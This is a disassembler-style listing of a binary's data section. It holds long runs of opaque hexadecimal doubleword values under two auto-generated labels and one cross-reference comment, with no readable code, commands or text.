		dd 0FE4C8088h, 22B65C6Eh, 9EB9007Eh, 3F8FBF1Ah,	3500BA95h
		dd 0CC0D923Ah, 397FB85Bh, 200025A3h, 4C292753h,	8B2C2BADh
		dd 9D09F2ACh, 769480FAh, 18350D3h, 1730D077h, 496E15DCh
		dd 0F649A2F6h, 0C757E002h, 66F40388h, 7DF80CA0h, 7A2BE7F6h
		dd 0D36C0C17h, 0F4745F0Fh, 4C0E77D5h, 208563F6h, 0CA3CDB69h
		dd 0CF560073h, 16EB8E49h
		dd 0A900EA35h, 2BBD4205h, 0FFA386h, 0C231CE3Ch,	986F12B5h
		dd 39BC5F17h, 0FD4D6142h, 6C26024h, 1216002Dh, 6CE6DE43h
		dd 4B00E47Fh, 912ECDA8h, 0F59462h, 98C68933h, 0D3581707h
		dd 5E01A416h, 0C1329F43h, 8C7EE0B2h, 9F0F4862h,	0AB44EB00h
		dd 9B0CA9Fh, 3ADE6C0Eh,	8827E4A5h, 744421B0h, 0FEFF0001h
		dd 9124D145h, 653853F3h, 0DE400Ch, 0E315755Ah, 1EC22C34h
		dd 0BC861800h, 0A13ED91Bh, 82252652h, 4CA7406Ch, 54928124h
		dd 51A23B0Ch, 0DC1128h,	234FA441h, 0E610E37Ch, 240B5C90h
		dd 0F52E4D68h, 0DB9D1134h, 51680999h, 0C28B9BFFh, 276677F0h
		dd 60BD5502h, 5D6B5F46h, 50DD6BC0h, 0DA9ABE3Eh,	4B72EB01h
		dd 0C47E27ECh, 5D07094Bh, 5370B1FDh, 0C824ABFh,	6C2948D3h
		dd 46860356h, 82068108h, 5FDC750Fh, 819CDD52h, 9BDF9E2Ch
		dd 297A80Eh, 40EDB673h,	7FB80158h, 61D000Fh, 0E0FFC503h
		dd 2300B7CEh, 2508EB5Fh, 0D3D2724h, 14E853CCh, 3B703051h
		dd 8F6ACD3Ch, 0E0E3DF2Dh, 578145BFh, 542B040Ah,	0C6B5FE67h
		dd 48003367h, 95246B93h, 77707F07h, 0CE5EAA4h, 39A9447h
		dd 0AB20C6C4h, 0D6800269h, 0FDB336Fh, 341D24DEh, 0D6057CFh
		dd 8BC05388h, 59611ED3h, 0CBB7C058h, 1F23C081h,	0F20AE3Bh
		dd 2DDF04E7h, 0E4CD1826h, 6028C4h, 0FBB8EC8Ah, 614F7C5Eh
		dd 1509F0FEh, 8C296BFEh, 535D1Bh, 177A3C19h, 0FCFD4895h
		dd 4893006h, 8078661Eh,	0B85486E1h, 0C6D89723h,	0E1800DC3h
		dd 5DFBFA70h, 0F1B0350h, 0E0571F85h, 4EBD33D2h,	60C6AC19h
		dd 54BEE17h, 202C003Dh,	23C01AAh, 9D096146h, 2DDBF5h, 8AC6E46Dh
		dd 76E937CCh, 7B232056h, 0BFE4A0AEh, 0D678F600h, 0DFD88CB3h
		dd 3B3A90CCh, 0DD9EA74Bh, 5CED07E5h, 97FAC7E3h,	28FB0676h
		dd 58073674h, 5BEDDCCEh, 0E8F921DCh, 0D2EF30B4h, 0C9E25F11h
		dd 0D462D110h, 9AEB3860h, 11C0E876h, 0DCCCBD4Ch, 81F36047h
		dd 0B325C890h, 7A11EA60h, 98D1D2C2h, 0FA10C090h, 140A1F6Eh
		dd 7CD642h, 0E8FF784Fh,	3068F4C5h, 0A8653C0Ch, 1801A875h
		dd 0D0CE2373h, 1A0C3A2Bh, 10DA3F63h, 0A793000Fh, 57BC4F75h
		dd 0A500E8E4h, 0FE2E44F8h, 3F3534Ah, 475ADAE1h,	0CAF8BFDEh
		dd 577827FDh, 30B18420h, 4589E512h, 5D03A92Bh, 0A8B7B866h
		dd 95B1801Ah, 0F6F700D8h, 0EEF340B0h, 0A17A57AAh, 92D3F01h
		dd 0F0EFA303h, 6E9E9850h, 408500A2h, 84E126B2h,	3D0267DCh
		dd 88BD72CFh, 5790E07Ah, 8A9428A0h, 30660090h, 7BBE7C87h
		dd 76008816h, 5505F3EBh, 90D0012Dh, 2E4B1200h, 194800FAh
		dd 871A7C03h, 0DD43F707h, 20D06305h, 3934B25Fh,	729E1393h
		dd 858A0022h, 0A4C9C156h, 0A6587A01h, 3FB6D86Eh, 0F880ECCDh
		dd 55E0F079h, 5F1D9003h, 7A894A91h, 51080ECBh, 643F580Ah
		dd 0BC138894h, 7983B580h, 61C678h, 891E026h, 856D97E6h
		dd 0EB663Eh, 4FCEC0CCh,	0A0E7036Bh, 68B3D4h, 16A18D01h
		dd 0DEA0317Dh, 44BF9500h, 0CA979EB8h, 7C12004Eh, 0AF4146A4h
		dd 10264DB2h, 2E3C3E9Fh, 9E074681h, 4340A147h, 0F06AAC80h
		dd 42C90F9Ah, 4027770Fh, 73394015h, 0A602AA16h,	0B59A2F4Bh
		dd 0C7F960B8h, 0A8150068h, 0AA134AA0h, 141F51AFh, 10DECC78h
		dd 62433869h, 0C73EC385h, 6354184Ah, 3D400835h,	0B000A6C3h
		dd 124DD149h, 0B4CEA4h,	53CA852Eh, 6839A135h, 0A6841403h
		dd 0C0973167h, 0AAE2671h, 13306DD5h, 61AA0768h,	48B58332h
		dd 12983940h, 0CD8604AFh, 0E100A08h, 15C989F5h,	31E8407Eh
		dd 0B257F61Ah, 0BFE22E00h, 3F71FEDEh, 0C0167168h, 0EF141E30h
		dd 18C0FD38h, 0F13854Eh, 9D08A045h, 293900ACh, 99E40A21h
		dd 3A28A278h, 9F022C02h, 8B9D1FD8h, 0BC0CB108h,	8C0C88A3h
		dd 63099F3h, 83212E18h,	60BFE159h, 0F9687948h, 41C32F89h
		dd 339D50A9h, 0B84038E8h, 0B0CB190Ah, 0A98578F9h, 5808A24Eh
		dd 5CE47744h, 1D55F23Bh, 0B00E05F9h, 7DCE934h, 12789B5Ah
		dd 907B846Ah, 0DBF1FBCCh, 0C6289660h, 748E3AF3h, 0D2232846h
		dd 0A739090Ch, 0E4206022h, 801DD7DFh, 333F6F01h, 0B3ECA5E3h
		dd 0A1F886D0h, 0C2FFB80Ch, 0EEFC486Eh, 71050019h, 0C823B25Eh
		dd 0A30A2DB0h, 0CF9C5C7h, 9639E0Fh, 2B14A1ABh, 0B181DE09h
		dd 0F55D0687h, 88644E07h, 0B5E3814Ah, 540E31ECh, 0CDBC088Ch
		dd 1910B848h, 80B5A186h, 0F1B7B90Ch, 29AC198Eh,	94F82945h
		dd 1C13E0A2h, 175C0813h, 490F1440h, 401883FDh, 0F8C15C29h
		dd 8C8353E5h, 0E48D6D22h, 3E50A447h, 0D944C08Eh, 97F9869h
		dd 0F5C89088h, 6441AB96h, 2A223A92h, 71C5185h, 2E8830E8h
		dd 4E2445ADh, 6D10649Eh, 0C8B89F82h, 54C1402Ch,	24D2E05Dh
		dd 640C9433h, 80134A5Fh, 8C997AE6h, 57E5280Ch, 6B5168Ch
		dd 8C042A55h, 8444B8A2h, 0B4CBE0C5h, 41A9F408h,	1181D1B7h
		dd 86DDEF13h, 24E96024h, 64286524h, 0A380507Ah,	0C994626h
		dd 9E60ED24h, 2DA4C93Dh, 9B640C9Fh, 0F9C6042Ah,	0A88C66ADh
		dd 80148AA8h, 0C993C68h, 848925C2h, 9C9A558Ch, 423D3FA2h
		dd 2413BFCCh, 0F9A039B1h, 7B020B43h, 6F3469D2h,	88B71448h
		dd 7462C945h, 616A4C1Ah, 4B4250BEh, 62DEABA0h, 51A7C537h
		dd 816DA8DAh, 0B4322DF1h, 0D8320214h, 937C3095h, 52E06558h
		dd 842C6A4Ch, 0B26BFECAh, 0ECE8373Dh, 1068090Ch, 42AB0334h
		dd 39C0C23Bh, 0A840E5E9h, 0D3207818h, 2ADCA1AEh, 0F588B811h
		dd 0B3188093h, 8715C150h, 0FB70C728h, 0D88C889h, 449C2009h
		dd 3152FFD1h, 0A690043Ch, 1479BCDFh, 523C70E8h,	1C47D163h
		dd 0C899F487h, 23DC3558h, 8DC2D2A1h, 739B0043h,	50015C9Dh
		dd 636DB6AFh, 9BE3394Ah, 3573E741h, 62C2EF9Ch, 0A7148313h
		dd 8048E164h, 0EBD29C83h, 8BF42101h, 7541134Ch,	4D8D4C02h
		dd 5E120070h, 38C263A9h, 89A2A7FCh, 0F60481F4h,	0D7009B87h
		dd 30C1D869h, 0B1AEB3B7h, 446C1020h, 9F05D594h,	0A811982Eh
		dd 3CC202Dh, 851E8672h,	9820B209h, 96651210h, 72984006h
		dd 8E45F39Ch, 0A294AD06h, 60088595h, 0B4552156h, 6E0968F3h
		dd 470D610h, 34C12B58h,	0DC58BFFAh, 0E92D0C86h,	2A688D1Ch
		dd 34404Dh, 0CEF0473Dh,	302EDFEDh, 4919672Bh, 213A7C8Eh
		dd 78888005h, 161F5A86h, 1DFBE8FAh, 4B46546h, 0D0B22112h
		dd 64E98268h, 1852AE01h, 0F5572AE0h, 5E96298Ch,	3C7F93B1h
		dd 24EB9800h, 0B37AE057h, 3A30C0D8h, 0F88E465Bh, 0C89D0935h
dword_4F0044	dd 0B1FCC80Ch, 4F4B0495h, 0C1949A1Eh, 487C7468h, 28C5F98h
					; DATA XREF: ___:0042CC8Co
		dd 8E3FF39Ah, 6E1990BDh, 0F3B24B10h, 7579FF00h,	0DEA0C9D2h
		dd 6D8206F9h, 7977B5D8h, 0C08CAE0Fh, 28109859h,	410B6796h
		dd 9FA430B0h, 4F1E14E5h, 688010FBh, 66A9A52Eh, 29596095h
		dd 79527601h, 0FD17100h, 1DE7691Ch, 0F6EC00F3h,	0FC360558h
		dd 620799C2h, 64465E94h, 6870D042h, 71CF02Ch, 88838F8h
		dd 6B20F0EFh, 3D18FAF4h, 0E3309C4Eh, 0C5F92EEBh, 0E16F8510h
		dd 6ADC4568h, 1D28882Dh, 2B41FC04h, 78C050E4h, 0F6F2E0h
		dd 10AB1681h, 0FAFFB3DAh, 0DE411E00h, 66A2357Fh, 5A93382Eh
		dd 1CCAEB80h, 0C129EE08h, 81684569h, 0FD21ECF8h, 0DF0C34h
		dd 61686B28h, 0F9B546ADh, 309341F8h, 0D20088A2h, 86519AFAh
		dd 5FB686Ch, 8270ED25h,	489C0006h, 6F5832E0h, 0F79F4501h
		dd 609B5E1Fh, 0FC3020h,	7A984310h, 4567622Dh, 0A9346802h
		dd 83A8DFF7h, 6ED0A0h, 3EC05C69h, 6A31973Ch, 0DE8F57Eh
		dd 0B1913Bh, 0D418A329h, 7A4BFCF6h, 9560189Dh, 0C216A162h
		dd 21453A00h, 38D582E6h, 0ACD90070h, 0F9A3E7D0h, 104C15F1h
		dd 55A060A4h, 5858A93Eh, 5A806C95h, 2C24B591h, 5F27700h
		dd 0F5565330h, 9C65586Eh, 0B421970Ah, 4B988088h, 4A2D9DC8h
		dd 0D935D0CCh, 7321C0A1h, 1ADBC833h, 480F473Dh,	0E7DE0448h
		dd 66007A49h, 0B643E1F5h, 0B783EC90h, 0B30989D8h, 0DA3DDCBAh
		dd 0FD9F811Eh, 54E93E5Fh, 3D006023h, 6D9D35C2h,	4675650Ch
		dd 79A44C37h, 0E9D158F0h, 91D5000Bh, 0F41A228h,	5672189Ch
		dd 5045A50Eh, 21682FA4h, 0EE25ABBDh, 30E2C021h,	0E490F3B1h
		dd 0C096BCA2h, 0F3A95203h, 0E0CE82D4h, 302B9913h, 8348728Bh
		dd 75609CD1h, 11F7DFD2h, 50F0C074h, 7B762F8Fh, 54001498h
		dd 0CA675236h, 904F74DAh, 5B152050h, 6D4CE503h,	98AC8446h
		dd 1DAD3D58h, 0A6D12B39h, 3518B0D0h, 6C00B2B4h,	1AAB2759h
		dd 1DA3F607h, 801DE5EEh, 7C2D9565h, 0FCA0BCC9h,	35880FF8h
		dd 96D700C5h, 3481E523h, 0A3003E44h, 0A4F35599h, 29F5E3Dh
		dd 31B4CE25h, 8049452Bh, 0B0E3C459h, 7848EC24h,	7C5CC412h
		dd 618021F0h, 0A017FE3h, 6EA5E04Fh, 0B6A0BCE8h,	99F9EC12h
		dd 2E46C044h, 0EE62F488h, 977100A3h, 8CE6EF65h,	392EFD6Fh
		dd 5711B8A9h, 0B4202A25h, 626E7043h, 0FEAEC100h, 68577C18h
		dd 0C5EE00A9h, 94458E40h, 0BF20D1FBh, 331890A4h, 92490996h
		dd 0E8630909h, 651824ACh, 856A7CC0h, 9C9B094Ch,	0F4909568h
		dd 6170571Ah, 1C234301h, 0CCDFB086h, 0E0071C62h, 7E8EE56Eh
		dd 72D044A2h, 0C033E049h, 0BA00FB0Eh, 0AD1FF9D8h, 4A0C3C5h
		dd 62D58F4h, 31F0C13Ch,	7302245h, 0FEAFB1BCh, 0E7A7808Eh
		dd 98B3CE17h, 0D0B41854h, 9D7E59A3h, 0F55E060Ch, 661D809Eh
		dd 21870847h, 6A65D00h,	0AE50088Ah, 55F1162Bh, 52302063h
		dd 0BC26191Dh, 4C128842h, 61C1D420h, 0BFAC12E4h, 0AA20029h
		dd 0F221EFDEh, 53199B00h, 0E31ECB0Ch, 28D12C85h, 47AA8064h
		dd 21A93BE9h, 0D6C224A0h, 8784BE01h, 0BA7024Eh,	2CE00480h
		dd 52C02221h, 24194606h, 3FB173CDh, 0A48391E1h,	9BFB76E2h
		dd 1424FA8h, 7A7686F6h,	73AEC301h, 97B44C63h, 83E0EC35h
		dd 0B19C7AD2h, 0FEA501D8h, 2005E3FFh, 10410174h, 4C2EFC02h
		dd 0E3600460h, 6270EC9Dh, 68792071h, 0B43902E3h, 0E95C24C0h
		dd 45ECE906h, 0EB631BF0h, 21E171AEh, 0B5AC5062h, 4206CBF7h
		dd 7CCDACD7h, 82DB00D9h, 159052EBh, 94017A59h, 0FC54F666h
		dd 3DF4ED30h, 2B9F07A3h, 40A2D6BBh, 0CD3412ABh,	7009CB1h
		dd 0B59F9F0h, 0E57B002h, 90E07FE2h, 88816C69h, 259A18D3h
		dd 0B96000B0h, 9B1825EEh, 1A9AF4Ch, 9FF9027Fh, 0A62E291Ch
		dd 40C13070h, 0DCEE37E4h, 8CB23020h, 5806B304h,	8A628EF5h
		dd 69C3720h, 4A450714h,	9003B5FEh, 9618324Eh, 2E00277Ch
		dd 5542108Eh, 6B3F70h, 0CAD3C2DFh, 16C9B35h, 380DC125h
		dd 12AB86C4h, 4F715CE9h, 0C7C0442Ch, 1DE4EECAh,	12653702h
		dd 0E041F62Ch, 8044B4FCh, 0BE340F13h, 4CC2685Bh, 0C8403098h
		dd 0C32D9A3Bh, 0C8487280h, 952464B6h, 0A880F40Dh, 659D1D7Dh
		dd 0A26C5C62h, 818AB939h, 80B06B2Dh, 57F0F4E3h,	4006C46h
		dd 0F95570FBh, 0C77D5A89h, 4297FAC8h, 74C1D5F2h, 0F2E8727Fh
		dd 0DF7E3056h, 96242A16h, 0EFE36CD0h, 0CA5A07C4h, 0A34E8146h
		dd 0D1835B99h, 0B2F368A0h, 0B101EE0Ah, 950CAC69h, 1CC83965h
		dd 9D2C16F9h, 362B80CDh, 878070EEh, 396A173Ah, 0C6FF92B5h
		dd 9E4B3C02h, 3FA0B09Bh, 2D9911C8h, 84A2882Ah, 0EFC8476Fh
		dd 60988182h, 800E21ECh, 0D714E23Fh, 0CCC0DB0h,	9114E6C1h
		dd 6C994C98h, 204BC616h, 0B99D61D4h, 1C13A900h,	0E768956Dh
		dd 0AF871DC1h, 3BC4C077h, 5DA31242h, 0EB269F13h, 0B4803512h
		dd 569D5FBh, 4DE92FFh, 9324C15Fh, 2B970086h, 0D43CEDB6h
		dd 0C60E11C0h, 466055F9h, 5C769E40h, 0E0330568h, 416EFD04h
		dd 9489F5D4h, 0E8488295h, 70EBD219h, 9D160F84h,	983F2360h
		dd 44392085h, 0B6A2871Ch, 0B3206F14h, 33609C31h, 5B01308Dh
		dd 2143F9FCh, 0D1856D85h, 401E4BD2h, 7A44878Ch,	209553A2h
		dd 8A1354D0h, 0AC113C56h, 0A841500Bh, 0A94FD000h, 431E42CAh
		dd 10D4D3AAh, 0C14EA314h, 3083CD7Fh, 2747A178h,	2060CAE3h
		dd 84164330h, 0F5303D2h, 9E86A0A7h, 144CA6D0h, 42907760h
		dd 0DD85D6AEh, 0F003E18h, 1346CC7Ch, 4A6CA477h,	0E8172880h
		dd 1A3F1DD5h, 12550378h, 781CD67Ah, 31F0CA7Fh, 0C7781144h
		dd 8AC87A59h, 0B8A06B0Ch, 0A0AB4387h, 831B5307h, 88BA47D3h
		dd 84154402h, 505844C7h, 27ACCCB8h, 0D4A48907h,	0BFCB440Dh
		dd 0B03C8CE1h, 6E09F28Bh, 0A14B84C0h, 0B984981Ch, 0C88530ACh
		dd 68B0E66Ah, 0D03E51A5h, 0E5F1F459h, 1ED9070h,	63541EBCh
		dd 807521A7h, 93094B71h, 20C062D0h, 35019FBDh, 346A135Fh
		dd 0A434078Bh, 47A5B93h, 6B37420h, 50A1974Ch, 8BA31838h
		dd 42596820h, 0C3F44809h, 3A27956Fh, 59E39F18h,	44C44089h
		dd 0CD07A4D5h, 90408A9Dh, 384F3798h, 0E077C4C2h, 88B1C08Ch
		dd 81C9E3CDh, 2D106996h, 4B3118C7h, 0D1295901h,	490ACD2Ch
		dd 0A05F2A0Bh, 49F946F8h, 0A574FC4h, 2FD09758h,	0D00ADC3Ah
		dd 83D0A1D4h, 35B9F9F3h, 6121313Bh, 0B0E9B3B9h,	0F8876981h
		dd 7D70CF59h, 3202C1ECh, 1044655h, 0FE0E378h, 0D0318969h
		dd 0A34CA2B3h, 0C64C85D1h, 0FC995857h, 0D8A88661h, 0B9156018h
		dd 0C901E7C7h, 9630C362h, 54CCD8BFh, 0AA334C07h, 20CFB58h
		dd 858C88B7h, 1CB94406h, 0A9D12A06h, 0B5C308A4h, 745A4956h
		dd 2621B8B6h, 21916465h, 0C80A44A3h, 0A338627Ch, 5001E830h
		dd 856B289Fh, 13087C71h, 0A4EC428Dh, 236E4214h,	0AEC4501Bh
		dd 74C23D85h, 0B408428Dh, 7D824214h, 24F13943h,	4D110A87h
		dd 50B323C4h, 1085A568h, 0D43B886Ah, 99BD423h, 5C92B64Ch
		dd 22226C44h, 60924C0Eh, 34A14889h, 72E55505h, 1ADF0924h
		dd 50484BCEh, 44218440h, 34A0BD0Ah, 66329FEBh, 21A49059h
		dd 9E82CE5Bh, 44205178h, 2C0F5F0Bh, 901821A8h, 22105E31h
		dd 864C4C76h, 0B9616C61h, 98307E77h, 9CFD88AAh,	89569C5h
		dd 0ED6E4861h, 4684091h, 0B9F5C38Eh, 9B4CE888h,	0A8B21438h
		dd 6B54998h, 2DB62C0Ch,	1D4174h, 9D29D763h, 0E3CF8149h
		dd 7CD85500h, 1150FA92h
		dd 0A93113EDh, 40840014h, 9EC1F08Eh, 3516B498h,	0CC1234B8h
		dd 0A9FA740Eh, 8D1090DFh, 297160F0h, 0EE507A2Bh, 83B52127h
		dd 0F82E1D4Ch, 95C199Dh, 8E98B99h, 0C08D30A0h, 38C0884Dh
		dd 3C061D55h, 0A0FF5ACFh, 9400E25Ch, 874844Ch, 30212BB6h
		dd 6D3976E6h, 69E01D7Ah, 0AE980701h, 58FD29ECh,	4237081h
		dd 87E76540h, 0BD9F35BCh, 44BB767h, 0CE4908B0h,	0DC6328C9h
		dd 1400D6C7h, 0FA5A7A17h, 0C5F898h, 0A65DED34h,	0BC270792h
		dd 0C909BE00h, 3246EAD2h, 9C1F0045h, 96F6F325h,	0DC0E3F2Ah
		dd 8041246Bh, 0DF4223A8h, 2F3100A5h, 3406FC73h,	0E900B4D2h
		dd 2E972C41h, 1EB125F3h, 1993F32h, 692A3C01h, 98CDD12Bh
		dd 23103B28h, 3257C46h,	9DE8402Fh, 9891F32Ch, 0A999E42Eh
		dd 0D07C1A78h, 0D13F2407h, 29831FB4h, 2B3EC097h, 5260DAAh
		dd 1AB80B79h, 0FD81FB04h, 20401F3Bh, 50520B4h, 0D335A0F7h
		dd 30AA1828h, 9C1070C5h, 0F000EDFCh, 15287E9h, 635025Dh
		dd 2237D5B0h, 7C0318E8h, 3EB8F64Bh, 6080E3CBh, 7746591Eh
		dd 0DCFCFABCh, 820C0A00h, 1EE5F426h, 15C40190h,	0CBEAD548h
		dd 21FCE863h, 7900D478h, 7E59D36Fh, 0CA4840h, 72A02375h
		dd 0F1739647h, 1015C200h, 439A9D3Bh, 0E56E3A8Ah, 4618F9B0h
		dd 606F8E5Fh, 28FC9C70h, 0D30C408Fh, 0E953010Bh, 0B17B3738h
		dd 0F9B38608h, 0C0FBCB30h, 0A8A0928Fh, 801427Ch, 6BBF9F2Dh
		dd 30937DF0h, 671079EBh, 5B18BFF4h, 2D6887F7h, 0DCBB20D1h
		dd 0D60C3870h, 0F88A9580h, 7C81C03Fh, 6E6A575Bh, 8C0840DFh
		dd 820A0C69h, 223C1450h, 0D4E329EAh, 45B3D405h,	4F268C70h
		dd 9893471Bh, 7A5AC781h, 0BA88A1A6h, 0E0D2F852h, 0AE88AF1h
		dd 0D4AA1108h, 3A598098h, 0B91AD832h, 29030D03h, 28D00949h
		dd 0EB48D589h, 0D6714889h, 0D3092830h, 6B5C6491h, 1F035959h
		dd 7EE0FB63h, 0F200BC88h, 864F708Ah, 1B105F3h, 9B99422Ah
		dd 0D4E6461Fh, 0A6F04832h, 0DB1678B3h, 2C405002h, 0E054C39Bh
		dd 74261569h, 146E60Ah,	0E7E3B4D5h, 4CF51174h, 0EE003644h
		dd 4CBAFEC4h, 0A6B7912Ah, 30AB0504h, 34D293D0h,	5081C0Ch
		dd 0AB3DA3Ch, 6230CA20h, 891200Dh, 0D75F1CFh, 0F87A52F0h
		dd 44A0A7C5h, 0C4890AD0h, 0C8D03995h, 2195E653h, 0C57D13FFh
		dd 0CAED3068h, 78F4F141h, 3B81D40Fh, 147F0994h,	109F08D1h
		dd 897040E2h, 9BB90D40h, 70A7C9Ch, 0C78FD89h, 8CF30E8Ah
		dd 0D0350C8h, 5254FE12h, 7B32A428h, 75247A09h, 87917C48h
		dd 71448622h, 12738988h, 486D2472h, 22BF9174h, 0C012FDBEh
		dd 0CA48CB24h, 0A100C59Fh, 437092Eh, 43D7151Fh,	657FBC15h
		dd 2CD0B8D1h, 4A58684h,	8DD54D6h, 0ABBCA0D1h, 9879F6ECh
		dd 9D338B3h, 401FCCBEh,	0A669C30Ah, 70F0C972h, 4B74EC9Ah
		dd 53CF8C1Eh, 5B1F941Dh, 40327C1Eh, 744C02A4h, 6A002004h
		dd 39C912A6h, 22087009h, 370C1AFEh, 4AF47F04h, 1188CCCEh
		dd 3C06237Fh, 55012D05h, 0CA8B2929h, 1B045638h,	0F9392B40h
		dd 2A4CE240h, 9C8DF37h,	8518A0E0h, 7057FD04h, 0BD00BB50h
		dd 2ADBB286h, 30EED414h, 232108FCh, 38A5D690h, 1390158h
		dd 3A92E0C8h, 0F0D75488h, 18C0D5A4h, 0EF51B730h, 4FD205FCh
		dd 0FCB7CC5h, 9C591Ch, 5346DE4Ah, 28A4CEE9h, 532ACD2Fh
		dd 0B53601E4h, 86D30F47h, 0C97BAA28h, 1137C30h,	0C8231245h
		dd 0E004DF56h, 0D30F0D4Fh, 0C02E98FEh, 3406480Ah, 2CAA011Fh
		dd 0C94A2B40h, 32B6D011h, 36DC3F00h, 0B1F7412Eh, 0B0401C30h
		dd 0D0033E0Bh, 0DC222599h, 0DA3C1BA0h, 0D312B40Eh, 863E9FC6h
		dd 4D2A97D0h, 421A3D40h, 1C26B601h, 4924B31Fh, 4DD0F340h
		dd 14F0A6E8h, 0F47793Eh, 1497DC37h, 0CD98D830h,	4020299Ah
		dd 0D01B821Ch, 0B01359Dh, 0A5F94610h, 9ACDA2CBh, 65EC1560h
		dd 0A420FA9Ah, 0E85DEB02h, 32C9A24Ch, 0A498FD18h, 0E5026321h
		dd 20A22A04h, 1E2CB1D3h, 38C4F0A0h, 1C7CE098h, 9404FD7Fh
		dd 0BCF389Bh, 7FDF2680h, 1E1D370Ch, 142932A7h, 0D2E04048h
		dd 3E3ACFDh, 24AFC626h,	0A5A7D031h, 5F85D45h, 0EBDBA12Ah
		dd 1EB702Ah, 521FA36h, 0FED00656h, 0D3EC3Bh, 41FD969Ch
		dd 402597F8h, 934D44Ch,	0AE99D526h, 27208600h, 0FFC90928h
		dd 9820AD29h, 0B74E24A4h, 2EFD5704h, 0FFAB22Bh,	281898F0h
		dd 417EEE09h, 0D420974Ch, 357F1F6Ch, 2A5E809h, 4CAD2AECh
		dd 59EA1A74h, 1CC591E3h, 0BA0162D7h, 1E453040h,	2FE9A502h
		dd 5532B529h, 96929865h, 0A7995800h, 74F73C1Fh,	260578B5h
		dd 0FD02D3Bh, 67E2E96h,	403A329Ch, 0C0502026h, 0D13EE900h
		dd 1DF325A8h, 351E9BF8h, 738C0010h, 0D42F32FCh,	3C23B00Bh
		dd 3470012Ah, 0FED09C25h, 19692429h, 9C9E1FA0h,	6F7EBC3Fh
		dd 3C49603Bh, 0E858AC0Dh, 404A26B2h, 4060D8ACh,	2C461A69h
		dd 0C8CE32E8h, 5625DE6Bh, 0FB60B5D4h, 25A09426h, 0D05620B0h
		dd 0F8A5FE7Dh, 0B6291E3Ah, 0D460F317h, 2C214CE3h, 0C760E9B5h
		dd 0D027815Bh, 2AF3ECAEh, 0B81FA624h, 0B01E57E9h, 555CE2BFh
		dd 9AA284C3h, 691FE840h, 85F94CFEh, 0B1254630h,	72FF7C85h
		dd 0C7BDF70h, 0A01D85Fh, 0C430B62Ch, 0E6450E85h, 0CE40B482h
		dd 0DAF326E4h, 8730C50Ch, 0D5436298h, 0D340DCC1h, 28A62FC3h
		dd 20D342F8h, 8699C449h, 2C09D008h, 29C49C2Ah, 0DC8D49E4h
		dd 0D9C03438h, 25B07417h, 24402003h, 2EC6A750h,	0F846F869h
		dd 5C2D74A6h, 9A85202Ah, 212C2D20h, 8004F33Ch, 1FAA2542h
		dd 2A034C3h, 30692B58h,	3CE3D446h, 0E30AB0E6h, 183974D8h
		dd 4E500269h, 7D0CFBAEh, 0FD261C76h, 0C825965Ah, 1B105B84h
		dd 9CF1D54Bh, 85184E96h, 0C8809901h, 761B5625h,	68A55340h
		dd 0DC0221BCh, 25500136h, 1FD8C0B5h, 564BA39h, 0E6402DB1h
		dd 0CC1856B4h, 50A054F8h, 93A13E9h, 2B2E7752h, 0A2892097h
		dd 0F0A27501h, 4478213Fh, 2A97DA0Eh, 3CC9D346h,	79C7D43Ch
		dd 0BC3F4052h, 3C031B9Dh, 48239C2Bh, 2D25C1DCh,	172A8C70h
		dd 3AFDB34h, 0A3BB090h,	9CABBCA2h, 0A61C5007h, 0DC0321E8h
		dd 0D04125A3h, 1E3CA1A6h, 0B425503Dh, 409C8B0h,	0F68436Eh
		dd 0E00AF712h, 1F148034h, 1025BB34h, 0F725EC85h, 0F8344250h
		dd 981E2F37h, 33E190B8h, 0F0B51F28h, 0F97D48F6h, 41F454FEh
		dd 0E9971E03h, 1B0D14Dh, 3F31B421h, 0D030AA2Bh,	23279AE8h
		dd 96300EF3h, 0F7C9E0CCh, 38438038h, 36FC1052h,	2B7834F8h
		dd 0A3E886E1h, 0BE28322Ah, 0E123A60h, 0DC1C1041h, 2AB0F606h
		dd 2E072037h, 3297254Bh, 24B2821Eh, 0BBB87045h,	0C4D395E0h
		dd 84801228h, 0F2D7278Ch, 0E83CF830h, 0F3359D0Dh, 888AD809h
		dd 5DC2096h, 1011E998h,	7874D8D0h, 0CD10049Dh, 0C73A309Ah
		dd 228504h, 0DC423280h,	0E728C76Fh, 3F54B0DAh, 60C2F3F0h
		dd 54B9462Bh, 28056628h, 0E7F3261Ah, 2AC82218h,	98589242h
		dd 9670CEDCh, 168CA060h, 8C5CF841h, 9B12D0D4h, 440A3719h
		dd 4C69F432h, 92F09E64h, 8320134Fh, 0B7E7A830h,	502550E8h
		dd 6C9EAFD0h, 12F0A614h, 188BB61Fh, 0D4F2B0FEh,	715330C4h
		dd 52FAD611h, 2BE82097h, 0F179608h, 2715C2E7h, 0D0310C83h
		dd 37E94103h, 0A04AAE3Ah, 66520795h, 21BC080Fh,	210E58h
		dd 0E3A6D6B1h, 0C0E547FAh, 0ECA83259h, 4A80EA5Eh, 71740070h
		dd 8ED0DCB8h, 736FBB8Ah, 0BAF5A091h, 4F8DDBh, 8801FA5Eh
		dd 3E9CA393h, 2CD2CB00h
dword_4F1044	dd 0A8985012h, 7940C058h, 0A22BA97h, 8E8A9006h,	0CE4807E4h
		dd 0D06FC8h, 0F5B47746h, 16EDCF6h, 0FA2AF8B7h, 8303EACDh
		dd 963EC920h, 9C8B823Bh, 0E6DD2320h, 0FE0BD301h, 0B98075BAh
		dd 3790AC99h, 0F50C9D08h, 854F0CEh, 0BC21C3C2h,	2D09044h
		dd 0DD002E78h, 5A2B453Dh, 0C049F4h, 48B587E9h, 0F79493D5h
		dd 1D78E06Fh, 0A77CEAC2h, 80881D3h, 0C226CEh, 27CAB952h
		dd 0D0415031h, 4F10F182h, 93158688h, 19CE0FBh, 21F9F825h
		dd 0A22FC8F2h, 44670470h, 81BE751Ch, 442985D4h,	0FA1C32B8h
		dd 10E96104h, 76737C00h, 0D5CB6E1Ah, 117F850Fh,	813B8339h
		dd 0F2590FD1h, 5C80C801h, 53D567B5h, 21EF09CCh,	0C8090312h
		dd 0FD689D89h, 0A9CF591Fh, 39A2DD00h, 91194Eh, 0B309EFDCh
		dd 21B72C57h, 15FFBE0Ah, 510D84A5h, 0EEF939F8h,	0E1FECCh
		dd 49391EDBh, 909CA0E7h, 9A7BBA77h, 0F2073005h,	0F8473F85h
		dd 90D059FAh, 0C19B5793h, 0BA6451E8h, 0BC440F0h, 1091DC1Eh
		dd 5A03CA44h, 794BE139h, 901210ECh, 0C02C78E7h,	0D2F9008Bh
		dd 7223EDF4h, 0D40E15C4h, 0C64104A1h, 0C218750h, 0E5BB7CA8h
		dd 8F12E240h, 741010ACh, 0AC850DCh, 3A290F8Ch, 88B14A80h
